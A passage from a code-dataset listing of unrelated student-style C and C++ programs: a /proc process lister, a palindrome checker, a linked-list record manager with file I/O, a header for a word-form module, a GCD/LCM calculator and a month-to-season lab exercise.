if (allInteger && tasks->d_type == DT_DIR) {
taskCount++;
}
}
}
closedir(dir);
//get info about each task in /proc/[pid]/stat
char *pidPath = malloc(strlen(entry->d_name) + strlen("/stat") + 1);
strcpy(pidPath, entry->d_name);
strcat(pidPath, "/stat");
char statFile[100000];
readFile(pidPath, statFile);
char *next_tok = statFile;
char *curr_tok;
int count = 0;
char *sysCall = calloc(25, sizeof(char));
char *tempState = malloc(3 * sizeof(char));
while ((curr_tok = next_token(&next_tok, " ()")) != NULL) {
if (count < 1) {
count++;
} else if (count < 3) {
// task name
if (count == 1) {
//if larger than 25 bytes
if (strlen(curr_tok) > 25) {
strncpy(sysCall, curr_tok, 25);
} else {
strcpy(sysCall, curr_tok);
}
}
// state
if (count == 2) {
strcpy(tempState, curr_tok);
}
if (count >= 3) {
break;
}
count++;
}
}
// get process name
struct stat *buf = malloc(100* sizeof(struct stat));
stat(entry->d_name, buf);
char *userName = calloc(15, sizeof(char));
struct passwd *pwd = getpwuid(buf->st_uid);
// if larger than 15 bytes
if (strlen(pwd->pw_name) > 15) {
strncpy(userName, pwd->pw_name, 15);
} else {
strcpy(userName, pwd->pw_name);
}
char state[15];
// proper state name
if (strcmp(tempState, "S") == 0) {
strcpy(state, "sleeping");
} else if (strcmp(tempState, "R") == 0) {
strcpy(state, "running");
} else if (strcmp(tempState, "I") == 0) {
strcpy(state, "idle");
} else if (strcmp(tempState, "X") == 0) {
strcpy(state, "dead");
} else if (strcmp(tempState, "Z") == 0) {
strcpy(state, "zombie");
} else if (strcmp(tempState, "T") == 0) {
strcpy(state, "tracing stop");
} else if (strcmp(tempState, "D") == 0) {
strcpy(state, "disk sleep");
}
printf("%5s | %12s | %25s | %15s | %d \n", entry->d_name, state, sysCall, userName, taskCount);
//free allocated memory
free(buf);
free(sysCall);
free(tempState);
free(userName);
free(taskPath);
free(pidPath);
}
}
closedir(directory);
}
/**
* Retrieves the next token from a string.
*
* Parameters:
* - str_ptr: maintains context in the string, i.e., where the next token in the
* string will be. If the function returns token N, then str_ptr will be
* updated to point to token N+1. To initialize, declare a char * that points
* to the string being tokenized. The pointer will be updated after each
* successive call to next_token.
*
* - delim: the set of characters to use as delimiters
*
* Returns: char pointer to the next token in the string.
*/
char *next_token(char **str_ptr, const char *delim) {
if (*str_ptr == NULL) {
return NULL;
}
size_t tok_start = strspn(*str_ptr, delim);
size_t tok_end = strcspn(*str_ptr + tok_start, delim);
/* Zero length token. We must be finished. */
if (tok_end <= 0) {
*str_ptr = NULL;
return NULL;
}
/* Take note of the start of the current token. We'll return it later. */
char *current_ptr = *str_ptr + tok_start;
/* Shift pointer forward (to the end of the current token) */
*str_ptr += tok_start + tok_end;
if (**str_ptr == '\0') {
/* If the end of the current token is also the end of the string, we
* must be at the last token. */
*str_ptr = NULL;
} else {
/* Replace the matching delimiter with a NUL character to terminate the
* token string. */
**str_ptr = '\0';
/* Shift forward one character over the newly-placed NUL so that
* next_pointer now points at the first character of the next token. */
(*str_ptr)++;
}
return current_ptr;
}
|
C | # include<stdio.h>
void main()
{
int num,num1,sum=0,a;
printf("enter the num");
scanf("%d",&num);
lable:
num1=num;
a=num%10;
sum=sum*10+a;
num=num/10;
if(num>0)
goto lable;
if(sum==num1)
printf("%d",sum);
else
printf("%d is not",sum);
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct stu
{
int number;
char name[10];
struct stu *next;
};
typedef struct stu STU;
STU *add_node(STU *head)
{
STU *ptr = head;
STU *p = NULL;
p = malloc(sizeof(STU));
if (NULL == p)
{
perror("add");
exit(0);
}
printf("please input number\n");
scanf("%d",&p->number);
puts("and input name");
scanf("%s",p->name);
getchar();
p->next = NULL;
if (NULL == head)
{
return p;
}
if (p->number < head->number)
{
p->next = head;
return p;
}
while((ptr->next != NULL)&&(p->number > ptr->next->number))
{
ptr = ptr->next;
}
p->next = ptr->next;
ptr->next = p;
return head;
}
STU *delate_node(STU *head)
{
if (NULL == head)
{
printf("empty\n");
return head;
}
STU *ptr = head;
int number = 0;
STU *temp = NULL;
puts("who do you want to delate!");
scanf("%d",&number);
getchar();
if (number == head->number)
{
head = head->next;
free(ptr);
return head;
// return head->next;
}
while((ptr->next != NULL)&&(number != ptr->next->number))
{
ptr = ptr->next;
}
if (ptr->next == NULL)
{
printf("sorry no this number,please try again\n");
}
else
{
temp = ptr->next;
ptr->next = ptr->next->next;
free(temp);
}
return head;
}
void show_link(STU *head)
{
if (NULL == head)
{
printf("empty\n");
return;
}
STU *ptr =head;
puts("******************************************");
puts("number name");
while(ptr != NULL)
{
printf("%-2d %s\n",ptr->number,ptr->name);
ptr = ptr->next;
}
puts("******************************************");
}
void save_node(STU *head)
{
STU *ptr = head;
FILE *fp = NULL;
fp = fopen("1.txt","w+");
if (NULL == fp)
{
perror("file");
exit(0);
}
while(ptr != NULL)
{
fprintf(fp,"%d",ptr->number);
fprintf(fp," %s\n",ptr->name);
ptr = ptr->next;
}
fclose(fp);
}
/*void read_file(void)
{
FILE *fp = fopen("1.txt","r+");
char a_str[1023]={0};
int i = 0;
while((a_str[i]=getc(fp)) != EOF)
{
i++;
}
a_str[i]='\n';
printf("%s\n",a_str);
fclose(fp);
}*/
STU *read_file()
{
STU *head = NULL;
STU *p = NULL;
FILE *fp = NULL;
fp = fopen("1.txt","r+");
int inum = 0;
char iname[10]={0};
head = p = malloc(sizeof(STU));
if (NULL == head)
{
perror("malloc");
exit(0);
}
if (fscanf(fp,"%d%s",&inum,iname) != EOF)
{
head->number = inum;
strncpy(head->name,iname,9);
}
head->next = NULL;
while(fscanf(fp,"%d%s",&inum,iname) != EOF)
{
p->next = malloc(sizeof(STU));
if (NULL == p->next)
{
perror("malloc");
exit(0);
}
p->next->number = inum;
strncpy(p->next->name,iname,9);
//read
p->next->next = NULL;
p = p->next;
}
return head;
}
void menu(void)
{
printf("Please choice:\n");
printf(" 1.add node\n");
printf(" 2.delate node\n");
printf(" 3.show record\n");
puts(" 4.save");
puts(" 5.quit");
}
int main(int argc, const char* argv[])
{
STU *head = NULL;
char choice = 0;
int flag;
//read from file
head = read_file();
while(flag)
{
menu();
choice = getchar();
getchar();
switch(choice)
{
case '1' : head = add_node(head);break;
case '2' : head = delate_node(head);break;
case '3' : show_link(head);break;
case '4' : save_node(head);break;
// case '5' : head = read_file(head);
//case '5' : read_file();break;
case '5' : flag = 0;break;
default : printf("sorry no this choice~\n"); break;
}
}
printf("\n");
return 0;
}
|
C | /**
* @file normal_forms.h
* @brief Contains declarations of NormalForms' functions.
*/
#ifndef NORMAL_FORMS_HPP
#define NORMAL_FORMS_HPP
/**
* @struct NormalForms
* @brief Contains information about normal forms (for any rule), each of them
* contains ending for normal form, ending's length and grammar type.
*/
struct NormalForms;
/**
* @brief Reads normal forms from file.
* @param filename path to forms file
* @return pointer to NormalForms
*/
NormalForms * normal_forms_fread(const char * filename);
/**
* @brief Frees NormalForms.
* @param nf pointer to NormalForms
*/
void normal_forms_free(NormalForms * nf);
/**
* @brief Gets normal form ending by rule's id.
* @param nf pointer to NormalForms
* @param id rule's id
* @return pointer to normal form ending
*/
char * normal_forms_get_ending(NormalForms * nf, unsigned int id);
/**
* @brief Gets normal form ending's length by rule's id.
* @param nf pointer to NormalForms
* @param id rule's id
* @return length of normal form ending's
*/
unsigned short int normal_forms_get_ending_len(NormalForms * nf, unsigned int id);
/**
* @brief Gets normal form's grammar type.
* @param nf pointer to NormalForms
* @param id rule's id
* @return normal form's grammar type
*/
unsigned short int normal_forms_get_type(NormalForms * nf, unsigned int id);
#endif
|
C | #include<stdio.h>
void main()
{
printf("输入两个正整数:\n"); //输入两个正整数
int m, n, r, a, b;
scanf("%d%d", &m, &n);
if (m < n) //对输入的数字进行排序
{
a = n;
n = m;
m = a;
}
b=m*n;
while (n!=0) //辗转相除法求最大公约数
{
r = m%n;
m=n;
n=r;
}
printf("两个数的最大公约数为:%d\n",m); //输出结果
printf("两个数的最小公倍数为:%d\n",b/m);
}
|
C | /*
Edgar Cruz
2/26/15
CS 111
Lab 6-2
This program will ask for a month and tell the season.
*/
#include <iostream>
using namespace std;
int main()
{
int month;
cout << "\nPlease enter a month (1 for January, 12 for December): ";
cin >> month;
switch (month)
{
case 12:
case 1:
case 2: cout << "winter" << endl;
break;
case 3:
case 4:
case 5: cout << "spring" << endl;
break;
case 6:
case 7:
case 8: cout << "summer" << endl;
break;
case 9:
case 10:
case 11: cout << "fall" << endl;
break;
default: cout << "Invalid month" << endl;
}
cout << endl;
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.